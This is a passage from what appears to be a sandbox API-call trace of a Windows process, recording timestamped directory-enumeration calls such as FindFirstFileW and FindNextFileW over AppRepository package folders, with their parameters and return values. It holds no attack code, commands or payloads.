ftLastAccessTime.dwHighDateTime=0x1d70071, ftLastWriteTime.dwLowDateTime=0x67b05aac, ftLastWriteTime.dwHighDateTime=0x1d70071, nFileSizeHigh=0x0, nFileSizeLow=0x414, dwReserved0=0x0, dwReserved1=0x0, cFileName="S-1-5-18.recovery", cAlternateFileName="S-1-5-~2.REC")) returned 0 [0219.905] FindClose (in: hFindFile=0x1d1f4150 | out: hFindFile=0x1d1f4150) returned 1 [0219.907] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b0bac20) returned 1 [0219.907] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b0babe0) returned 1 [0219.907] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1b0bacf0) returned 1 [0219.907] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.MicrosoftSolitaireCollection_3.3.9211.0_x64__8wekyb3d8bbwe", nBufferLength=0x105, lpBuffer=0x1b0ba7d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.MicrosoftSolitaireCollection_3.3.9211.0_x64__8wekyb3d8bbwe", lpFilePart=0x0) returned 0x80 [0219.907] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.MicrosoftSolitaireCollection_3.3.9211.0_x64__8wekyb3d8bbwe\\*" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\packages\\microsoft.microsoftsolitairecollection_3.3.9211.0_x64__8wekyb3d8bbwe\\*"), lpFindFileData=0x1b0baa00 | out: lpFindFileData=0x1b0baa00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9e54e85e, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0x9e54e85e, ftLastAccessTime.dwHighDateTime=0x1d700aa, ftLastWriteTime.dwLowDateTime=0xcdbe9069, ftLastWriteTime.dwHighDateTime=0x1d8a73a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f43f0 [0220.093] FindNextFileW (in: hFindFile=0x1d1f43f0, lpFindFileData=0x1b0ba9c0 | out: lpFindFileData=0x1b0ba9c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9e54e85e, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0x9e54e85e, ftLastAccessTime.dwHighDateTime=0x1d700aa, ftLastWriteTime.dwLowDateTime=0xcdbe9069, ftLastWriteTime.dwHighDateTime=0x1d8a73a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0220.093] FindNextFileW (in: hFindFile=0x1d1f43f0, lpFindFileData=0x1b0ba9c0 | out: lpFindFileData=0x1b0ba9c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6793bf99, ftCreationTime.dwHighDateTime=0x1d70071, ftLastAccessTime.dwLowDateTime=0x6793bf99, ftLastAccessTime.dwHighDateTime=0x1d70071, ftLastWriteTime.dwLowDateTime=0x679d4966, ftLastWriteTime.dwHighDateTime=0x1d70071, nFileSizeHigh=0x0, nFileSizeLow=0x47c, dwReserved0=0x0, dwReserved1=0x0, cFileName="S-1-5-18.recovery", cAlternateFileName="S-1-5-~2.REC")) returned 1 [0220.093] FindNextFileW (in: hFindFile=0x1d1f43f0, lpFindFileData=0x1b0ba9c0 | out: lpFindFileData=0x1b0ba9c0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0220.093] FindClose (in: hFindFile=0x1d1f43f0 | out: hFindFile=0x1d1f43f0) returned 1 [0220.095] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b0bac20) returned 1 [0220.095] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b0babe0) returned 1 [0220.095] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1b0bacf0) returned 1 [0220.095] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.MicrosoftSolitaireCollection_3.3.9211.0_x64__8wekyb3d8bbwe", nBufferLength=0x105, lpBuffer=0x1b0ba7d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.MicrosoftSolitaireCollection_3.3.9211.0_x64__8wekyb3d8bbwe", lpFilePart=0x0) returned 0x80 [0220.095] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.MicrosoftSolitaireCollection_3.3.9211.0_x64__8wekyb3d8bbwe\\*" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\packages\\microsoft.microsoftsolitairecollection_3.3.9211.0_x64__8wekyb3d8bbwe\\*"), lpFindFileData=0x1b0baa00 | out: lpFindFileData=0x1b0baa00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9e54e85e, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0xcdbe9069, ftLastAccessTime.dwHighDateTime=0x1d8a73a, ftLastWriteTime.dwLowDateTime=0xcdbe9069, ftLastWriteTime.dwHighDateTime=0x1d8a73a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f4150 [0220.097] FindNextFileW (in: hFindFile=0x1d1f4150, lpFindFileData=0x1b0ba9c0 | out: lpFindFileData=0x1b0ba9c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9e54e85e, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0xcdbe9069, ftLastAccessTime.dwHighDateTime=0x1d8a73a, ftLastWriteTime.dwLowDateTime=0xcdbe9069, ftLastWriteTime.dwHighDateTime=0x1d8a73a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0220.097] FindNextFileW (in: hFindFile=0x1d1f4150, lpFindFileData=0x1b0ba9c0 | out: lpFindFileData=0x1b0ba9c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6793bf99, ftCreationTime.dwHighDateTime=0x1d70071, ftLastAccessTime.dwLowDateTime=0x6793bf99, ftLastAccessTime.dwHighDateTime=0x1d70071, ftLastWriteTime.dwLowDateTime=0x679d4966, ftLastWriteTime.dwHighDateTime=0x1d70071, nFileSizeHigh=0x0, nFileSizeLow=0x47c, dwReserved0=0x0, dwReserved1=0x0, cFileName="S-1-5-18.recovery", cAlternateFileName="S-1-5-~2.REC")) returned 1 [0220.097] FindNextFileW (in: hFindFile=0x1d1f4150, lpFindFileData=0x1b0ba9c0 | out: lpFindFileData=0x1b0ba9c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6793bf99, ftCreationTime.dwHighDateTime=0x1d70071, ftLastAccessTime.dwLowDateTime=0x6793bf99, ftLastAccessTime.dwHighDateTime=0x1d70071, ftLastWriteTime.dwLowDateTime=0x679d4966, ftLastWriteTime.dwHighDateTime=0x1d70071, nFileSizeHigh=0x0, nFileSizeLow=0x47c, dwReserved0=0x0, dwReserved1=0x0, cFileName="S-1-5-18.recovery", cAlternateFileName="S-1-5-~2.REC")) returned 0 [0220.097] FindClose (in: hFindFile=0x1d1f4150 | out: hFindFile=0x1d1f4150) returned 1 [0220.098] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b0bac20) returned 1 [0220.098] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b0babe0) returned 1 [0220.098] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1b0bacf0) returned 1 [0220.098] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.NET.Native.Framework.1.0_1.0.22929.0_x64__8wekyb3d8bbwe", nBufferLength=0x105, lpBuffer=0x1b0ba7d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.NET.Native.Framework.1.0_1.0.22929.0_x64__8wekyb3d8bbwe", lpFilePart=0x0) returned 0x7d [0220.098] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.NET.Native.Framework.1.0_1.0.22929.0_x64__8wekyb3d8bbwe\\*" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\packages\\microsoft.net.native.framework.1.0_1.0.22929.0_x64__8wekyb3d8bbwe\\*"), lpFindFileData=0x1b0baa00 | out: lpFindFileData=0x1b0baa00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9e9a0a96, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0x9e9a0a96, ftLastAccessTime.dwHighDateTime=0x1d700aa, ftLastWriteTime.dwLowDateTime=0xd4b85000, ftLastWriteTime.dwHighDateTime=0x1d8a73a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f52f0 [0220.100] FindNextFileW (in: hFindFile=0x1d1f52f0, lpFindFileData=0x1b0ba9c0 | out: lpFindFileData=0x1b0ba9c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9e9a0a96, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0x9e9a0a96, ftLastAccessTime.dwHighDateTime=0x1d700aa, ftLastWriteTime.dwLowDateTime=0xd4b85000, ftLastWriteTime.dwHighDateTime=0x1d8a73a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0220.101] FindNextFileW (in: hFindFile=0x1d1f52f0, lpFindFileData=0x1b0ba9c0 | out: lpFindFileData=0x1b0ba9c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf2074c40, ftCreationTime.dwHighDateTime=0x1d70070, ftLastAccessTime.dwLowDateTime=0xf2074c40, ftLastAccessTime.dwHighDateTime=0x1d70070, ftLastWriteTime.dwLowDateTime=0xf210d6e0, ftLastWriteTime.dwHighDateTime=0x1d70070, nFileSizeHigh=0x0, nFileSizeLow=0x4cc, dwReserved0=0x0, dwReserved1=0x0, cFileName="S-1-5-18.recovery", cAlternateFileName="S-1-5-~2.REC")) returned 1 [0220.101] FindNextFileW (in: hFindFile=0x1d1f52f0, lpFindFileData=0x1b0ba9c0 | out: lpFindFileData=0x1b0ba9c0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0220.101] FindClose (in: hFindFile=0x1d1f52f0 | out: hFindFile=0x1d1f52f0) returned 1 [0220.102] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b0bac20) returned 1 [0220.102] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b0babe0) returned 1 [0220.102] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1b0bacf0) returned 1 [0220.102] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.NET.Native.Framework.1.0_1.0.22929.0_x64__8wekyb3d8bbwe", nBufferLength=0x105, lpBuffer=0x1b0ba7d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.NET.Native.Framework.1.0_1.0.22929.0_x64__8wekyb3d8bbwe", lpFilePart=0x0) returned 0x7d [0220.102] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.NET.Native.Framework.1.0_1.0.22929.0_x64__8wekyb3d8bbwe\\*" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\packages\\microsoft.net.native.framework.1.0_1.0.22929.0_x64__8wekyb3d8bbwe\\*"), lpFindFileData=0x1b0baa00 | out: lpFindFileData=0x1b0baa00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9e9a0a96, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0xd4b85000, ftLastAccessTime.dwHighDateTime=0x1d8a73a, ftLastWriteTime.dwLowDateTime=0xd4b85000, ftLastWriteTime.dwHighDateTime=0x1d8a73a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f4ed0 [0220.103] FindNextFileW (in: hFindFile=0x1d1f4ed0, lpFindFileData=0x1b0ba9c0 | out: lpFindFileData=0x1b0ba9c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9e9a0a96, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0xd4b85000, ftLastAccessTime.dwHighDateTime=0x1d8a73a, ftLastWriteTime.dwLowDateTime=0xd4b85000, ftLastWriteTime.dwHighDateTime=0x1d8a73a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0220.103] FindNextFileW (in: hFindFile=0x1d1f4ed0, lpFindFileData=0x1b0ba9c0 | out: lpFindFileData=0x1b0ba9c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf2074c40, ftCreationTime.dwHighDateTime=0x1d70070, ftLastAccessTime.dwLowDateTime=0xf2074c40, ftLastAccessTime.dwHighDateTime=0x1d70070, ftLastWriteTime.dwLowDateTime=0xf210d6e0, ftLastWriteTime.dwHighDateTime=0x1d70070, nFileSizeHigh=0x0, nFileSizeLow=0x4cc, dwReserved0=0x0, dwReserved1=0x0, cFileName="S-1-5-18.recovery", cAlternateFileName="S-1-5-~2.REC")) returned 1 [0220.103] FindNextFileW (in: hFindFile=0x1d1f4ed0, lpFindFileData=0x1b0ba9c0 | out: lpFindFileData=0x1b0ba9c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf2074c40, ftCreationTime.dwHighDateTime=0x1d70070, ftLastAccessTime.dwLowDateTime=0xf2074c40, ftLastAccessTime.dwHighDateTime=0x1d70070, ftLastWriteTime.dwLowDateTime=0xf210d6e0, ftLastWriteTime.dwHighDateTime=0x1d70070, nFileSizeHigh=0x0, nFileSizeLow=0x4cc, dwReserved0=0x0, dwReserved1=0x0, cFileName="S-1-5-18.recovery", cAlternateFileName="S-1-5-~2.REC")) returned 0 [0220.104] FindClose (in: hFindFile=0x1d1f4ed0 | out: hFindFile=0x1d1f4ed0) returned 1 [0220.104] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b0bac20) returned 1 [0220.105] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b0babe0) returned 1 [0220.105] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1b0bacf0) returned 1 [0220.105] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.NET.Native.Framework.1.0_1.0.22929.0_x86__8wekyb3d8bbwe", nBufferLength=0x105, lpBuffer=0x1b0ba7d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.NET.Native.Framework.1.0_1.0.22929.0_x86__8wekyb3d8bbwe", lpFilePart=0x0) returned 0x7d [0220.105] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.NET.Native.Framework.1.0_1.0.22929.0_x86__8wekyb3d8bbwe\\*" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\packages\\microsoft.net.native.framework.1.0_1.0.22929.0_x86__8wekyb3d8bbwe\\*"), lpFindFileData=0x1b0baa00 | out: lpFindFileData=0x1b0baa00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9ed5a790, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0x9ed5a790, ftLastAccessTime.dwHighDateTime=0x1d700aa, ftLastWriteTime.dwLowDateTime=0xd4b85000, ftLastWriteTime.dwHighDateTime=0x1d8a73a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f4750 [0220.107] FindNextFileW (in: hFindFile=0x1d1f4750, lpFindFileData=0x1b0ba9c0 | out: lpFindFileData=0x1b0ba9c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9ed5a790, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0x9ed5a790, ftLastAccessTime.dwHighDateTime=0x1d700aa, ftLastWriteTime.dwLowDateTime=0xd4b85000, ftLastWriteTime.dwHighDateTime=0x1d8a73a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0220.107] FindNextFileW (in: hFindFile=0x1d1f4750, lpFindFileData=0x1b0ba9c0 | out: lpFindFileData=0x1b0ba9c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf21a60a1, ftCreationTime.dwHighDateTime=0x1d70070, ftLastAccessTime.dwLowDateTime=0xf21a60a1, ftLastAccessTime.dwHighDateTime=0x1d70070, ftLastWriteTime.dwLowDateTime=0xf223ea69, ftLastWriteTime.dwHighDateTime=0x1d70070, nFileSizeHigh=0x0, nFileSizeLow=0x4cc, dwReserved0=0x0, dwReserved1=0x0, cFileName="S-1-5-18.recovery", cAlternateFileName="S-1-5-~2.REC")) returned 1 [0220.107] FindNextFileW (in: hFindFile=0x1d1f4750, lpFindFileData=0x1b0ba9c0 | out: lpFindFileData=0x1b0ba9c0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0220.107] FindClose (in: hFindFile=0x1d1f4750 | out: hFindFile=0x1d1f4750) returned 1 [0220.108] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b0bac20) returned 1 [0220.108] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b0babe0) returned 1 [0220.108] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1b0bacf0) returned 1 [0220.108] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.NET.Native.Framework.1.0_1.0.22929.0_x86__8wekyb3d8bbwe", nBufferLength=0x105, lpBuffer=0x1b0ba7d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.NET.Native.Framework.1.0_1.0.22929.0_x86__8wekyb3d8bbwe", lpFilePart=0x0) returned 0x7d [0220.108] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.NET.Native.Framework.1.0_1.0.22929.0_x86__8wekyb3d8bbwe\\*" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\packages\\microsoft.net.native.framework.1.0_1.0.22929.0_x86__8wekyb3d8bbwe\\*"), lpFindFileData=0x1b0baa00 | out: lpFindFileData=0x1b0baa00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9ed5a790, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0xd4b85000, ftLastAccessTime.dwHighDateTime=0x1d8a73a, ftLastWriteTime.dwLowDateTime=0xd4b85000, ftLastWriteTime.dwHighDateTime=0x1d8a73a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f4690 [0220.110] FindNextFileW (in: hFindFile=0x1d1f4690, lpFindFileData=0x1b0ba9c0 | out: lpFindFileData=0x1b0ba9c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9ed5a790, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0xd4b85000, ftLastAccessTime.dwHighDateTime=0x1d8a73a, ftLastWriteTime.dwLowDateTime=0xd4b85000, ftLastWriteTime.dwHighDateTime=0x1d8a73a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0220.110] FindNextFileW (in: hFindFile=0x1d1f4690, lpFindFileData=0x1b0ba9c0 | out: lpFindFileData=0x1b0ba9c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf21a60a1, ftCreationTime.dwHighDateTime=0x1d70070, ftLastAccessTime.dwLowDateTime=0xf21a60a1, ftLastAccessTime.dwHighDateTime=0x1d70070, ftLastWriteTime.dwLowDateTime=0xf223ea69, ftLastWriteTime.dwHighDateTime=0x1d70070, nFileSizeHigh=0x0, nFileSizeLow=0x4cc, dwReserved0=0x0, dwReserved1=0x0, cFileName="S-1-5-18.recovery", cAlternateFileName="S-1-5-~2.REC")) returned 1 [0220.110] FindNextFileW (in: hFindFile=0x1d1f4690, lpFindFileData=0x1b0ba9c0 | out: lpFindFileData=0x1b0ba9c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf21a60a1, ftCreationTime.dwHighDateTime=0x1d70070, ftLastAccessTime.dwLowDateTime=0xf21a60a1, ftLastAccessTime.dwHighDateTime=0x1d70070, ftLastWriteTime.dwLowDateTime=0xf223ea69, ftLastWriteTime.dwHighDateTime=0x1d70070, nFileSizeHigh=0x0, nFileSizeLow=0x4cc, dwReserved0=0x0, dwReserved1=0x0, cFileName="S-1-5-18.recovery", cAlternateFileName="S-1-5-~2.REC")) returned 0 [0220.110] FindClose (in: hFindFile=0x1d1f4690 | out: hFindFile=0x1d1f4690) returned 1 [0220.111] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b0bac20) returned 1 [0220.111] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b0babe0) returned 1 [0220.111] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1b0bacf0) returned 1 [0220.111] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.NET.Native.Framework.1.1_1.0.23115.0_x64__8wekyb3d8bbwe", nBufferLength=0x105, lpBuffer=0x1b0ba7d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.NET.Native.Framework.1.1_1.0.23115.0_x64__8wekyb3d8bbwe", lpFilePart=0x0) returned 0x7d [0220.112] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.NET.Native.Framework.1.1_1.0.23115.0_x64__8wekyb3d8bbwe\\*" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\packages\\microsoft.net.native.framework.1.1_1.0.23115.0_x64__8wekyb3d8bbwe\\*"), lpFindFileData=0x1b0baa00 | out: lpFindFileData=0x1b0baa00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x91bb1939, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0x91bb1939, ftLastAccessTime.dwHighDateTime=0x1d700aa, ftLastWriteTime.dwLowDateTime=0x5f7c8b5, ftLastWriteTime.dwHighDateTime=0x1d70071, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f4e10 [0220.114] FindNextFileW (in: hFindFile=0x1d1f4e10, lpFindFileData=0x1b0ba9c0 | out: lpFindFileData=0x1b0ba9c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x91bb1939, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0x91bb1939, ftLastAccessTime.dwHighDateTime=0x1d700aa, ftLastWriteTime.dwLowDateTime=0x5f7c8b5, ftLastWriteTime.dwHighDateTime=0x1d70071, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0220.114] FindNextFileW (in: hFindFile=0x1d1f4e10, lpFindFileData=0x1b0ba9c0 | out: lpFindFileData=0x1b0ba9c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x56d8273, ftCreationTime.dwHighDateTime=0x1d70071, ftLastAccessTime.dwLowDateTime=0x56d8273, ftLastAccessTime.dwHighDateTime=0x1d70071, ftLastWriteTime.dwLowDateTime=0x56d8273, ftLastWriteTime.dwHighDateTime=0x1d70071, nFileSizeHigh=0x0, nFileSizeLow=0x4ec, dwReserved0=0x0, dwReserved1=0x0, cFileName="S-1-5-18.recovery", cAlternateFileName="S-1-5-~2.REC")) returned 1 [0220.114] FindNextFileW (in: hFindFile=0x1d1f4e10, lpFindFileData=0x1b0ba9c0 | out: lpFindFileData=0x1b0ba9c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5f7c8b5, ftCreationTime.dwHighDateTime=0x1d70071, ftLastAccessTime.dwLowDateTime=0x5f7c8b5, ftLastAccessTime.dwHighDateTime=0x1d70071, ftLastWriteTime.dwLowDateTime=0x5f7c8b5, ftLastWriteTime.dwHighDateTime=0x1d70071, nFileSizeHigh=0x0, nFileSizeLow=0x4dc, dwReserved0=0x0, dwReserved1=0x0, cFileName="S-1-5-21-1560258661-3990802383-1811730007-1000.pckgdep", cAlternateFileName="S-1-5-~1.PCK")) returned 1 [0220.114] FindNextFileW (in: hFindFile=0x1d1f4e10, lpFindFileData=0x1b0ba9c0 | out: lpFindFileData=0x1b0ba9c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x56d8273, ftCreationTime.dwHighDateTime=0x1d70071, ftLastAccessTime.dwLowDateTime=0x56d8273, ftLastAccessTime.dwHighDateTime=0x1d70071, ftLastWriteTime.dwLowDateTime=0x56d8273, ftLastWriteTime.dwHighDateTime=0x1d70071, nFileSizeHigh=0x0, nFileSizeLow=0x4ec, dwReserved0=0x0, dwReserved1=0x0, cFileName="S-1-5-21-1560258661-3990802383-1811730007-1000.recovery", cAlternateFileName="S-1-5-~1.REC")) returned 1 [0220.115] FindNextFileW (in: hFindFile=0x1d1f4e10, lpFindFileData=0x1b0ba9c0 | out: lpFindFileData=0x1b0ba9c0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0220.115] FindClose (in: hFindFile=0x1d1f4e10 | out: hFindFile=0x1d1f4e10) returned 1 [0220.115] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b0bac20) returned 1 [0220.116] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b0babe0) returned 1 [0220.116] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1b0bacf0) returned 1 [0220.116] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.NET.Native.Framework.1.1_1.0.23115.0_x64__8wekyb3d8bbwe", nBufferLength=0x105, lpBuffer=0x1b0ba7d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.NET.Native.Framework.1.1_1.0.23115.0_x64__8wekyb3d8bbwe", lpFilePart=0x0) returned 0x7d [0220.116] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.NET.Native.Framework.1.1_1.0.23115.0_x64__8wekyb3d8bbwe\\*" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\packages\\microsoft.net.native.framework.1.1_1.0.23115.0_x64__8wekyb3d8bbwe\\*"), lpFindFileData=0x1b0baa00 | out: lpFindFileData=0x1b0baa00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x91bb1939, ftCreationTime.dwHighDateTime=0x1d700aa, 